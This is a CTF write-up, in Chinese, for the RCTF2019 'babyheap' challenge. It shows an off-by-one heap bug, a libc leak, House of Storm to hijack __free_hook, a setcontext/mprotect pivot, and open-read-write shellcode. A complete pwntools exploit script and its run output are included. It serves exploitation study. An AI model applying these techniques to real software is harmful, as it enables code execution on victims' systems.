RCTF2019 pwn babyheap writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
    1. 3.1. 泄露glibc基地址
    2. 3.2. House of Storm
    3. 3.3. setcontext
    4. 3.4. 注入shellcode
  4. 4. 完整脚本
    1. 4.1. 运行实例
  5. 5. 总结

一道设置了很多障碍的题,考验选手对于漏洞的组合能力。推荐在没有tcache的环境下进行测试。

源程序、相关文件下载:babyheap.zip

安全防护

ex@ubuntu:~/test$ checksec babyheap
[*] '/home/ex/test/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

关闭了fastbin

`mallopt(1, 0);

禁止了SYS_execve系统调用。

if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
puts("Could not start seccomp:");
exit(-1);
}

溢出点

void __cdecl edit()
{
int index_; // ST00_4
int end; // ST04_4
__int64 index; // [rsp+0h] [rbp-10h]

printf("Index: ");
LODWORD(index) = get_int();
if ( (signed int)index >= 0 && (signed int)index <= 15 && global_ptrs[(signed int)index].calloc_ptr )
{
printf("Content: ", index);
end = read_n(global_ptrs[index_].calloc_ptr, global_ptrs[index_].size);
global_ptrs[index_].calloc_ptr[end] = 0;
puts("Edit success :)");
}
else
{
puts("Invalid index :(");
}
}

存在一个off by one漏洞。

思路

  1. 泄露glibc基地址
  2. House of Storm
  3. setcontext
  4. 注入shellcode

泄露glibc基地址

利用 off by one漏洞进行chunk extend,使得chunk重叠,从而读出main_arena的地址。

add(0x80) # index 0
add(0x68) # index 1
add(0xf8) # index 2
add(24) # index 3

delete(0)
edit(1,'a' * 0x60 + p64(0x100)) # set prev_size
# pause()
delete(2)

# 泄露基地址
add(0x80) # index 0
add(0x80) # index 2
delete(2)
result = show(1)
main_arena_88_addr = u64(result.ljust(8, '\0'))
log.success("main_arena_88_addr: " + hex(main_arena_88_addr))

main_arena_addr = main_arena_88_addr - 88
log.success("main_arena_addr: " + hex(main_arena_addr))

main_arena_offset = 0x3c4b20 # 自己计算
# main_arena_offset = 0x389b20
libc_addr = main_arena_addr - main_arena_offset
log.success("libc_addr: " + hex(libc_addr))

system_addr = libc_addr + libc.symbols['system']
log.success("system_addr: " + hex(system_addr))

add(0x160) # index 2

House of Storm

构造House of Storm漏洞,控制__free_hook

add(0x18)  # 4
add(0x508) # 5
add(0x18) # 6
add(0x18) # 7
add(0x508) # 8
add(0x18) # 9
add(0x18) # 10

# 改pre_size域为 0x500 ,为了能过检查
edit(5, 'a'*0x4f0 + p64(0x500))
# 释放5号块到unsort bin 此时chunk size=0x510
# 6号的prev_size 为 0x510
delete(5)

# off by null 将5号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit(4, 'a'*(0x18))

add(0x18) # 5 从unsorted bin上面割下来的
add(0x4d8) # 11 为了和 5 重叠

delete(5)
delete(6) # unlink进行前向extend

# 6号块与11号块交叠,可以通过11号块修改6号块的内容
add(0x30) # 5
add(0x4e8) # 6

# 原理同上
edit(8, 'a'*(0x4f0) + p64(0x500))
delete(8)
edit(7, 'a'*(0x18))
add(0x18) # 8
add(0x4d8) # 12
delete(8)
delete(9)
add(0x40) # 8

# 将6号块和8号块分别加入unsort bin和large bin
delete(6)
# pause()
add(0x4e8) # 6
delete(6)

__free_hook_offset = 0x3c67a8
__free_hook_addr = libc_addr + __free_hook_offset # main_arena_addr - 16

storage = __free_hook_addr
fake_chunk = storage - 0x20

# 伪造fake_chunk
layout = [
'\x00' * 16, # 填充16个没必要的字节
p64(0), # fake_chunk->prev_size
p64(0x4f1), # fake_chunk->size
p64(0), # fake_chunk->fd
p64(fake_chunk) # fake_chunk->bk
]

# 修改unsorted bin 中的内容
edit(11, flat(layout))

layout = [
'\x00' * 32, # 32 字节偏移
p64(0), # fake_chunk2->prev_size
p64(0x4e1), # fake_chunk2->size
p64(0), # fake_chunk2->fd
# 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
p64(fake_chunk + 8), # fake_chunk2->bk
p64(0), # fake_chunk2->fd_nextsize
# 用于使用错误对齐技巧创建假块的“大小”
p64(fake_chunk - 0x18 - 5) # fake_chunk2->bk_nextsize
]

# 修改large bin 中的内容
edit(12, flat(layout))

# pause()

add(0x48) # 6

House of Storm 受随机化影响,并不能保证每次都成功。

setcontext

__free_hook地址设置为setcontext函数,从而控制程序流执行mprotect函数把__free_hook所在内存也修改为可执行,然后读入我们新的shellcode,在跳到新的shellcode去执行。

new_execve_env = __free_hook_addr & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0
syscall

jmp rsi
''' % new_execve_env

edit(6, 'a' * 0x10 + p64(libc_addr + libc.symbols['setcontext'] + 53) + p64(__free_hook_addr + 0x10) + asm(shellcode1))

pause()

# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = __free_hook_addr + 8
frame.rip = libc_addr + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1



edit(12, str(frame))
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline('12')

注入shellcode

mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// ./flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;// 置0就行
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;// 读到栈上
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall

这样我们就能得到flag了。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *


sh = process('./babyheap')
# sh = remote('123.206.174.203', 20001)
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# context.log_level = "debug"
context.arch = "amd64"

# 创建pid文件,用于gdb调试
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)

def add(size):
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Choice: \n')

def edit(index, content):
sh.sendline('2')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Content: ')
sh.send(content)
sh.recvuntil('Choice: \n')

def delete(index):
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Choice: \n')

def show(index):
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(index))
result = sh.recvuntil('\n')
sh.recvuntil('Choice: \n')
return result[:-1]

# 清除流
sh.recvuntil('Choice: \n')

# chunk extend
add(0x80) # index 0
add(0x68) # index 1
add(0xf8) # index 2
add(24) # index 3

delete(0)
edit(1,'a' * 0x60 + p64(0x100)) # set prev_size
# pause()
delete(2)

# 泄露基地址
add(0x80) # index 0
add(0x80) # index 2
delete(2)
result = show(1)
main_arena_88_addr = u64(result.ljust(8, '\0'))
log.success("main_arena_88_addr: " + hex(main_arena_88_addr))

main_arena_addr = main_arena_88_addr - 88
log.success("main_arena_addr: " + hex(main_arena_addr))

main_arena_offset = 0x3c4b20 # 自己计算
# main_arena_offset = 0x389b20
libc_addr = main_arena_addr - main_arena_offset
log.success("libc_addr: " + hex(libc_addr))

system_addr = libc_addr + libc.symbols['system']
log.success("system_addr: " + hex(system_addr))

add(0x160) # index 2

# 劫持 free_hook
add(0x18) # 4
add(0x508) # 5
add(0x18) # 6
add(0x18) # 7
add(0x508) # 8
add(0x18) # 9
add(0x18) # 10

# 改pre_size域为 0x500 ,为了能过检查
edit(5, 'a'*0x4f0 + p64(0x500))
# 释放5号块到unsort bin 此时chunk size=0x510
# 6号的prev_size 为 0x510
delete(5)

# off by null 将5号块的size字段覆盖为0x500,
# 和上面的0x500对应,为了绕过检查
edit(4, 'a'*(0x18))

add(0x18) # 5 从unsorted bin上面割下来的
add(0x4d8) # 11 为了和 5 重叠

delete(5)
delete(6) # unlink进行前向extend

# 6号块与11号块交叠,可以通过11号块修改6号块的内容
add(0x30) # 5
add(0x4e8) # 6

# 原理同上
edit(8, 'a'*(0x4f0) + p64(0x500))
delete(8)
edit(7, 'a'*(0x18))
add(0x18) # 8
add(0x4d8) # 12
delete(8)
delete(9)
add(0x40) # 8

# 将6号块和8号块分别加入unsort bin和large bin
delete(6)
# pause()
add(0x4e8) # 6
delete(6)

__free_hook_offset = 0x3c67a8
__free_hook_addr = libc_addr + __free_hook_offset # main_arena_addr - 16

storage = __free_hook_addr
fake_chunk = storage - 0x20

# 伪造fake_chunk
layout = [
'\x00' * 16, # 填充16个没必要的字节
p64(0), # fake_chunk->prev_size
p64(0x4f1), # fake_chunk->size
p64(0), # fake_chunk->fd
p64(fake_chunk) # fake_chunk->bk
]

# 修改unsorted bin 中的内容
edit(11, flat(layout))

layout = [
'\x00' * 32, # 32 字节偏移
p64(0), # fake_chunk2->prev_size
p64(0x4e1), # fake_chunk2->size
p64(0), # fake_chunk2->fd
# 用于创建假块的“bk”,以避免从未排序的bin解链接时崩溃
p64(fake_chunk + 8), # fake_chunk2->bk
p64(0), # fake_chunk2->fd_nextsize
# 用于使用错误对齐技巧创建假块的“大小”
p64(fake_chunk - 0x18 - 5) # fake_chunk2->bk_nextsize
]

# 修改large bin 中的内容
edit(12, flat(layout))

# pause()

add(0x48) # 6

new_execve_env = __free_hook_addr & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0
syscall

jmp rsi
''' % new_execve_env

edit(6, 'a' * 0x10 + p64(libc_addr + libc.symbols['setcontext'] + 53) + p64(__free_hook_addr + 0x10) + asm(shellcode1))

# pause()

# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = __free_hook_addr + 8
frame.rip = libc_addr + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1



edit(12, str(frame))
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline('12')

shellcode2 = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// ./flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;// 置0就行
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;// 读到栈上
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''

sh.send(asm(shellcode2))

print(sh.recv())

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@ubuntu:~/test$ echo 123456789 > flag
ex@ubuntu:~/test$ python2 exp.py
[+] Starting local process './babyheap': pid 2981
[*] '/home/ex/test/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] main_arena_88_addr: 0x7f119c078b78
[+] main_arena_addr: 0x7f119c078b20
[+] libc_addr: 0x7f119bcb4000
[+] system_addr: 0x7f119bcf9390
[*] Process './babyheap' stopped with exit code 0 (pid 2981)
123456789

[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$

总结

主要是考察综合能力。